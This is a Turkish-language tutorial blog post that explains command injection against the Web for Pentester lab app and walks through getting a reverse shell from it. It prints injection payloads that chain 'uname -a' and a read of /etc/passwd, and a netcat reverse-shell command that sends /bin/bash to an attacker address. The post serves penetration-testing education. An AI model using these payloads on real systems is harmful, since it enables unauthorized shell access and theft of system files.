Command Injection Zafiyetinden Yararlanarak Ters Bağlantı Oluşturma

Öncelikle Command Injection Nedir?

Komut Enjeksiyonu olarak da bilinen, zafiyet bulunan/yapılandırılmamış uygulama üzerinde işletim sistemi komutları çalıştırılmasına olanak sağlayan bir web güvenlik açığıdır. Aslında arkada yatan sebep geliştiricinin kullanıcıdan aldığı değerleri(input’lardan) kontrolsüz bir şekilde kullanmasıdır.

Bu yazıda Command Injection zafiyeti ile ters bağlantı(reverse connection) alacağız.

Command Injection ile ilgili basit örnekler ile başlayalım…

Örneklere geçmeden önce bir uygulamada Command Injection olup olmadığını nasıl anlayabiliriz?

Web for Pentester üzerinden bir Command Injection örneğini inceleyecek olursak…

Burada görüldüğü üzere url’de bulunan adrese, ping gönderilme işlemi var. Bu bize şu sonucu çıkarabilir. Ping paketleri gönderilebiliyor/alınabiliyorsa diğer işletim sistemi komutları da çalıştırılabilir.

Bu sefer ping göndermesine ek olarak işletim bilgisi ile ilgili bilgileri uname -a ile elde etmiş bulunuyoruz.

Not: Aradaki ; işareti “ve” anlamına gelmektedir. Unix tabanlı işletim sistemlerinde geçerlidir. Bunun dışında || , & vb. gibi bir çok operatör kullanılabilir.

Ayrıca otomatize araçlar(owasp zap,skipfish vb..) ile de Command Injection açığı tespit edilebilir.

Burada aracımız bize Command Injection ile ilgili zafiyetleri direkt olarak deneme yapıp sonucunu da gösteriyor. Attack kısmındaki kod blogu denenmiş(127.0.0.1 ping gönder ve etc altındaki passwd dosyasını cat ile oku) ve yeşil alandaki çıktı elde edilmiş. Fark ettiyseniz attack kısmındaki kod blogu direkt olarak yazılmamış encode edilmiştir.

Command Injection zafiyeti ile ters bağlantı almaya geldi sıra.

İlk olarak saldırgan makinede netcat yardımı ile 5555 numaralı portu dinlemeye alalım(nc -lvp 5555). Ardından ekleyeceğimiz kod bloğu;

nc 192.168.1.39 5555 -e /bin/bash

Açıklayacak olursak ilk olarak saldırgan makinenin adresini(192.168.1.39) ardından dinlemeye aldığımız portu(5555) -e parametresi ile de neyi çalıştırmak istediğimizi belirtiyoruz, /bin/bash yani bir kabuk çalıştırmak istiyoruz.

Görüldüğü üzere bağlantı isteğimiz kabul edildi ve bir kabuk oturumu açmış olduk.

 

About The Author

One Response

  1. Valar Morghulis 29 Nisan 2021 Yanıtla

Reply